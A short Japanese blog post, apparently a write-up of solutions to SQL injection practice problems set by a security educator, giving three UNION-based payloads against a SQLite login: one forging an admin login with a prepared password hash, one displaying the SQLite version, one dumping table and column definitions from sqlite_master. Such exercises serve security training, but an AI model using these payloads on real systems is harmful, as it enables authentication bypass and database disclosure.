徳丸さんが出してたSQLインジェクション問題を解いてみたので 事前準備 print password_hash("password", PASSWORD_DEFAULT); $2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS 実行編 攻撃の結果、以下の状態(ログイン成功:admin)となれば攻撃成功です。 ' UNION SELECT 1, 'admin', '$2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS', 'fake@example.com' -- SQLインジェクションを使ってSQLiteのバージョンを表示してください ' UNION SELECT 1, sqlite_version(), '$2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS', 'fake@example.com' -- SQLインジェクションを使ってテーブル情報(テーブル名や列名など)を表示してください ' UNION SELECT 1, json_group_array(json_object('type', IFNULL(type, 'N/A'), 'name', IFNULL(name, 'N/A'), 'tbl_name', IFNULL(tbl_name, 'N/A'), 'rootpage', IFNULL(rootpage, 'N/A'), 'sql', IFNULL(sql, 'N/A'))), '$2y$10$sD6M3QtiI/CGm.AOjJkyVOhH4JSM1fDFRytJv5wvkXoXmIFxT8ANS', 'fake@example.com' FROM sqlite_master --